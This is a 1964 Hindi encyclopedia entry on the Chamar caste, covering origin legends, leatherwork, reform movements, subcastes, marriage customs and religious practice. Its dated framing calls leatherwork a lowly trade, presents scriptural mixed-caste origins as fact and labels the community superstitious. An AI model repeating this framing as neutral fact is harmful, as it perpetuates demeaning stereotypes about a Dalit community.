चमार

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लेख सूचना
चमार
पुस्तक नाम हिन्दी विश्वकोश खण्ड 4
पृष्ठ संख्या 163
भाषा हिन्दी देवनागरी
संपादक रामप्रसाद त्रिपाठी
प्रकाशक नागरी प्रचारणी सभा वाराणसी
मुद्रक नागरी मुद्रण वाराणसी
संस्करण सन्‌ 1964 ईसवी
उपलब्ध भारतडिस्कवरी पुस्तकालय
कॉपीराइट सूचना नागरी प्रचारणी सभा वाराणसी
लेख सम्पादक श्याम तिवारी

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चमार संस्कृत चर्मकार से व्युत्पन्न, चमड़े का काम करनेवाली हिंदू जातिवाची शब्द। इस जाति की उत्पत्ति चांडाल स्त्री और निषाद (पराशर पद्धति), वैदेह स्त्री और निषाद (मनु. 10.36), या निषाद स्त्री और वैदेह पुरुष (महा.भा. 13.2588) से मानी गई है। लोकवार्ताओं के अनुसार इस जाति का आरंभ चामू नामक व्यक्ति (विलियम क्रुक) अथवा लोना चमारिन (शेरिंग) से हुआ है।

प्राचीन काल में आर्थिक तथा सामाजिक दृष्टि से दलित और अस्पृश्य जाति के रूप में यह हिंदू वर्णव्यवस्था के अंतर्गत शूद्र वर्ण में मान्य होकर भी शताब्दियों से हीन स्तर की रही है। कारण संभवत: उनका वह उद्यम है जिसमें चमड़े के जूते बनाना, मृत पशुओं की खाल उधेड़ना और चमड़े तथा उससे बनी वस्तुओं का व्यापार करना आदि कार्य था। संस्कृत के चर्मार, चर्मकृत, चर्मक आदि चर्मकार के पर्यायवाची शब्द इस तथ्य की ओर संकेत करते हैं। चमड़े का उद्यम अधम व्यवसाय था। इसी से चर्मकार हीन समझे जाने लगे। कालांतर में उद्यम के आधार पर जब जाति की उच्चता हीनता का प्रश्न उपस्थित हुआ तब विचारकों का ध्यान इस ओर गया और उन्होंने वर्णव्यवस्था के विपरीत मत प्रकट किए। वर्णव्यवस्था के समर्थकों और विरोधियों के बीच यह समस्या दीर्घकाल तक उपस्थित रही। 14वीं शताब्दी के आसपास इस ढंग के संशोधनवादी और सुधारवादी दर्शन के कई व्यख्याता हुए जिन्होंने जातिगत रूढ़ियों और संस्कारों के विरुद्ध संगठित आंदोलन किए। रामानंद के प्रसिद्ध श्ष्यि रविदास उन्हीं में से थे जिन्हें चमार जाति के लोग अपना पूर्वपुरुष मानते हैं। यहाँ तक कि रैदास शब्द आगे चलकर चमारों की सम्मानित उपाधि बन गया। निर्गुनियाँ संतों ने एक स्वर से जातिगत संकीर्णता का खुला विरोध किया। किंतु इतना होते हुए भी चमार जाति में वांछित परिवर्तन न हुआ। किंतु इतना होते हुए भी चमार जाति में वांछित परिवर्तन न हुआ। आधुनिक युग में परिगणित, पिछड़ी तथा अछूत जाति के अंतर्गत चमारों को सामाजिक-राजनीतिक अधिकार प्रदान करने के निमित्त कानून बने और सुधारांदोलन किए गए।

इस जाति के मुख्य निवासस्थान बिहार और उत्तर प्रदेश हैं। किंतु, अब ये भारत के अन्य भागों - बंगाल, पंजाब, मध्यप्रदेश, राजस्थान, गुजरात और महाराष्ट्र में बड़ी संख्या में बस गए हैं। दक्षिण भारत के द्रविडमूल जातियों में भी इनका अस्तित्व है।

वर्तमान समय में यह जाति अनेक धंधे करती है जिनमें कृषि तथा चर्म उद्योग मुख्य हैं। प्राय: इनका स्वरूप श्रमजीवी, खेतिहर मजदूर जाति का है। इसकी अनेक उपजातियाँ हैं। उनमें जैसवार, धुसिया, जटुआ, हराले आदि मुख्य हैं। मद्रास और राजस्थान में इन्हें क्रमश: 'चमूर' और 'बोलस' कहा जाता है। इसकी सभी उपजातियों में सामाजिक तथा वैवाहिक संबंध बहुत घनिष्ट हैं।

चमारों में बालविवाह व्यापक रूप से प्रचलित है। बहुविवाह की प्रथा अब समाप्त हो रही है। इनकी जातीय पंचायतें आपसी विवादों को तय करती तथा सामाजिक और धार्मिक कार्यो का संचालन करती हैं। इनमें विधवाविवाह की व्यापक मान्यता है। पुरानी प्रथा के अनुसार वधूमूल्य भी प्रचलित था। लेकिन इन सभी स्थितियों में अब तेजी से परिवर्तन हो रहा है।

इस जाति में अनेक अंधविश्वास व्याप्त हैं। भूत प्रेत, जादू टोना, देवी भवानी की सामान्य रूप से सभी ओर गहरी मान्यता है। इनमें अनेक अहिंदू देवता भी पूजे जाते हैं जिन्हें विविध चढ़ावे चढ़ते हैं। बलि की प्रथा प्राय: सभी प्रांतों के चमारों में प्रचलित है। चमारों में रैदासी, कबीरपंथी, शिवनारायनी बहुतायत से पाए जाते हैं। कुछ चमारों ने सिख, ईसाई और मुस्लिम धर्म भी स्वीकार कर लिया है।


टीका टिप्पणी और संदर्भ